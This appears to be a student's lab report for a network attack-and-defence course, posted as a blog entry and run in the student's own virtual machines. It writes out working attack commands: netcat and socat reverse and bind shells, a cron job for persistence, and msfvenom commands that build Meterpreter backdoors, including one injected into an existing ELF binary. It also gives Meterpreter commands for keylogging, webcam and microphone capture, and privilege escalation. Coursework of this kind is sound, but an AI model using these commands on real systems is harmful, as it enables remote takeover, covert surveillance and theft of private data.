20222418 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过恶意软件或漏洞利用。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Win:
利用系统服务:攻击者可能将后门程序注册为系统服务,使其在系统启动时自动运行。
修改启动项:通过修改注册表或其他启动配置文件,将后门程序添加到系统的启动项中,使其在开机时自动启动。
利用计划任务:设置计划任务,使后门程序在特定时间或条件下自动运行。
Linux:
修改启动脚本:在系统的启动脚本(如/etc/rc.local)中添加后门程序的启动命令。
利用系统服务:与Windows类似,攻击者也可能将后门程序注册为Linux系统服务。
创建cron任务:通过cron服务设置定时任务,使后门程序在特定时间自动运行。
(3)Meterpreter有哪些给你映像深刻的功能?
远程控制:Meterpreter允许攻击者通过网络与远程受感染的计算机建立连接,并获取对该计算机的完全控制权限。
功能模块:Meterpreter提供了许多内置模块,用于执行各种操作,包括文件系统访问、网络探测、提权、远程shell访问等。
(4)如何发现自己有系统有没有被安装后门?
检查系统用户:通过查看系统用户列表,检查是否存在未知或可疑的用户账号。特别是那些具备超级管理员权限的账号,更需要仔细审查。
检查网络连接:使用命令(如netstat)或网络监控工具(如TCPView)查看系统中的网络连接状态。检查是否存在可疑的IP连接或未知的网络活动。
扫描系统漏洞:利用漏洞扫描工具对系统进行全面扫描,检查是否存在已知的安全漏洞。这些漏洞可能会被攻击者利用来植入后门。
检查系统日志:查看系统日志和应用程序日志,寻找可疑的活动记录。这些记录可能会揭示攻击者尝试访问或控制系统的行为。
使用安全软件:安装并定期更新防病毒软件和防火墙等安全软件。这些软件可以帮助检测和阻止恶意软件的入侵和后门程序的运行。
2.实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
(1)准备工具
首先需在Windows主机上准备好实验所需工具ncat、soc本次实验选择直接下载老师所给的附件,链接为
https://gitee.com/wildlinux/NetSec/attach_files ,下载后解压至网络改防文件夹备用。
(2)使用ncat连接并获取shell
Windows主机进入ncat所在目录,输入cmd进入DOS窗口,或者在Windows主机的命令提示符(cmd)窗口中,导航到Netcat工具的目录,并启动Netcat监听服务,命令如下:
Win主机输入指令:ncat.exe -l -p 8888
(其中-l表示listen监听模式;p表示port,指定监听端口为8888)。
接着,在Linux虚拟机中,使用ncat连接到Windows主机的监听端口,并指定执行Shell,命令如下:
Linux虚机输入指令:nc 192.168.3.54 8888 -e /bin/sh
其中,192.168.3.54 是Windows主机的IP地址,-e 参数表示在连接后执行指定的程序(本例中为/bin/sh)。
成功连接后,在Windows主机的命令提示符中输入Linux命令(如ls),以验证是否成功获取了Linux虚拟机的Shell。
(3)配置cron任务。
在虚拟机的root账户下,编辑Cron任务表,命令为crontab -e
,即执行文字编辑器来设定时程表,其中选择的是文本编辑器vim.basic(2)。
进入后输入i进入插入模式,输入以下Cron任务:
30 * * * * /bin/netcat 192.168.3.54 8888 -e /bin/sh
(输入自己主机的IP地址)
该任务将在每小时的第30分钟执行,使用Netcat连接到Windows主机的8888端口,并执行Shell。
输入:wq保存并退出编辑器后,Cron任务将被添加。
修改后在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。
为了验证Cron任务是否正确配置,可以在Windows主机上再次启动Netcat监听服务,并等待Cron任务触发。当Cron任务执行时,Windows主机将接收到Linux虚拟机的Shell连接。
回到Windows主机的cmd中进行操作,Win主机输入指令:ncat.exe -l -p 8888
,Linux虚机输入指令:nc 192.168.3.54 8888 -e /bin/sh
,还是一样与Linux建立连接之后,输入
echo "* * * * * echo "20222418" > /home/test.txt" > /var/spool/cron/crontabs/root
crontab -l
(检查时程表)
等待一段时间后按照原路径查看虚拟机test.txt,发现修改成功。
2.使用socat获取主机操作Shell, 任务计划启动
(1)准备工具
和ncat相同,直接下载老师附件中的链接并解压,确保Socat工具可在命令提示符中执行。
Socat与netcat类似,但比起netcat,socat功能更多,比如如建立ssl连接。
(2)建立Socat连接并获取Shell
在Windows主机的命令提示符中,导航到Socat工具的目录(或者直接进入目录打开cmd),并启动Socat监听服务,命令如下:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
该命令将cmd.exe绑定到8888端口,并将cmd.exe的标准错误输出重定向到标准输出。
在Linux虚拟机中,使用Socat连接到Windows主机的监听端口,命令如下:socat - tcp:192.168.3.54:8888
.
成功连接后,将在Linux虚拟机的终端中看到Windows主机的命令提示符,并可以执行Windows命令。
(3)配置任务计划
回到Windows主机,我们需要事先准备一个程序以供运行,代码如下:
点击查看代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *file = fopen("test.txt","w");
char *str = "20222418hs";
if(file == NULL)
{
printf("Error opening file\n");
return 1;
}
fprintf(file,"%s",str);
fclose(file);
return 0;
}
编译并生成可执行文件(如test_20222418hs.exe),并将其放置在预设路径下: "D:\cxdownload\test_20222418hs.exe"
在Linux虚拟机中,使用schtasks命令创建Windows任务计划,命令如下:schtasks /create /sc minute /mo 1 /tn "20222418hs" /tr D:\cxdownload\test_20222418hs.exe
该任务计划将每分钟执行一次指定的程序。
回到windows主机,打开计算机管理,验证任务计划是否已成功创建,并观察任务计划是否按预期执行。如果任务计划成功执行,将在指定路径下生成并写入文件。
看到正在运行的任务名“20222418hs”,说明实验成功。
3. 在Linux下使用MSF meterpreter生成可执行文件,利用ncat传送到Windows主机并运行获取主机shell。
保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。
(1)生成Meterpreter后门文件
在Kali Linux虚拟机中,使用ifconfig命令获取虚拟机的IP地址。
虚拟机的IP地址是192.168.1.112。
然后,使用msfvenom命令生成Meterpreter后门文件,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -f exe > 20222418bd.exe
即使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到可执行文件20222418bd.exe中;
其中,LHOST指定监听主机的IP地址(即虚拟机地址),LPORT指定监听端口8888,-f exe指定生成文件的格式为可执行文件(exe),20222418bd.exe是生成的文件名。
(2)将后门文件传输至Windows主机
在Windows主机上启动Netcat监听服务,命令如下:ncat.exe -lv 8888 > "D:\20222418bd.exe"
(监听8888窗口等待接收可执行文件20222418bd.exe,并将20222418bd.exe文件存放在D盘上)。
在Kali Linux虚拟机中,使用Netcat将后门文件传输到Windows主机,命令如下:
nc 192.168.1.110 8888 < 20222418bd.exe
(将生成的后门文件 20222418bd.exe传给主机)。
其中,192.168.1.110是Windows主机的IP地址。
成功传输后,在Windows主机的指定路径下找到后门文件20222418bd.exe。
(3)配置监听并运行后门文件
回到Kali Linux虚拟机,启动Metasploit框架(msfconsole),并配置监听模块,,然后对监听模块进行配置:
use exploit/multi/handler
(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp
(使用和生成后门程序时相同的payload)
set LHOST 192.168.1.112
(攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888
然后,在Windows主机上运行后门文件20222418bd.exe。在Kali Linux虚拟机中,验证是否成功接收到Windows主机的连接,并可以使用Meterpreter Shell执行Windows命令:
输入exploit,使监听模块开始运行,并在Windows终端运行后门20222418bd.exe文件:
返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
在Meterpreter Shell中,使用以下命令获取目标主机的音频、摄像头截图、键盘记录等信息:
record_mic
:录制音频。
screenshot
:截取屏幕截图。
webcam_snap
:拍摄摄像头照片。
keyscan_start
:开始记录键盘输入。
keyscan_dump
:导出记录的键盘输入。
键盘记录的字符串将直接显示在命令栏上:
音频截屏和拍照被保存在root文档中:
(2)尝试提权
在Meterpreter Shell中,使用以下命令尝试提权:
getuid
:获取当前用户的权限信息。
getsystem
:尝试以系统权限运行Meterpreter Shell。
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(1)生成Shellcode
在Kali Linux虚拟机中,使用msfvenom命令生成Shellcode,并将其注入到指定的ELF文件中(实验一中的pwn1),命令如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -k -f elf -o 222418_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 222418_pwn的文件中。)
-p linux/x86/meterpreter/reverse_tcp:指定要使用的有效载荷类型,这里是 Linux 系统下 x86 架构的反向 TCP Meterpreter。
LHOST=192.168.1.112:指定监听主机的 IP 地址。
LPORT=8888:指定监听端口。
-x /mnt/hgfs/pwn20222418/pwn1:指定要嵌入有效载荷的现有 ELF 文件。
-k:保持模板文件的功能不变,即尝试在嵌入有效载荷时不破坏原 ELF 文件的功能。
-f elf:指定输出文件格式为 ELF。
-o 222418_pwn:指定输出文件名。
生成之后对生成的222418_pwn文件赋予权限:
(2)配置监听并运行注入后的程序
在Kali Linux虚拟机中,启动Metasploit框架(msfconsole),并配置监听模块,命令如下:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.112
set LPORT 8888
exploit
然后,在Linux虚拟机中,以root权限运行注入后的程序(222418_pwn)。
在Kali Linux虚拟机中,验证是否成功接收到Linux虚拟机的连接,并可以使用:回到第一个shell,输入ls确认连接,成功实现远程控制shell。
3.问题及解决方案
-
问题1:输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -f elf > 222418_pwn试图生成一个 Linux 平台上的 x86 架构的 Meterpreter 反向 TCP Shell 载荷,但是出现了一个错误提示 -x:未找到命令。
-
原因:未正确使用命令,在 msfvenom 命令中,-x 参数用于指定一个可执行文件作为模板,以便将载荷嵌入到该文件中,报错不一定是-x本身的问题,可能是由于命令行的解析或格式问题导致的误解。
-
解决方法:查找资料修改命令为正确格式
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -k -f elf -o 222418_pwn
-
问题2:监听虚拟机开启后出现与Windows不断建立会话并失败的提示信息。
-
原因:定义Metasploit Framework 模块时误将前面的有效载荷名称generic/shell_reverse_tcp填入。
-
解决方法:输入show options发现输入错误,重新修正后解决。
4.学习感悟、思考等
看不懂命令真要命!!!
本次实验前半部分比较顺利,对命令一知半解但也对照着视频和资料磕磕碰碰做出来了,只剩第五个任务,做了整整两个半小时,仅仅是因为代码不对。
从一开始遇到问题的一头雾水,只会重做或者不信邪继续做直到不能继续再重做并不停重复这个过程,到后开开始查找资料看报的错是什么,尝试点对点直接解决问题但仍一知半解看似问题解决了实际上只是换了一种做法,到最后开始分析错误,理解每一步在干什么,还能与第三个任务相联系比较主动发现问题,感觉整个人都已经升华了,做完实验好歹明白了自己在干什么!
这些在实验过程中能看出来,写完都不信自己做完了,但也让我觉得奇妙和害怕,在没有保护的情况下,窃取隐私,盗取权限太容易达成了,这需要我们更加坚定网络安全和保密意识,不断学习,才能更有效地应对安全威胁。
除此之外,最大的心得是我在使用博客园写随笔方面有了进步。显而易见,比起上次第一次接触博客园,今天的我已经开始考虑编辑得更read-friendly,也在试着分点加代码、代码块,开始使用实时预览和草稿箱,也算是一种进步吧。
写完了,狂喜。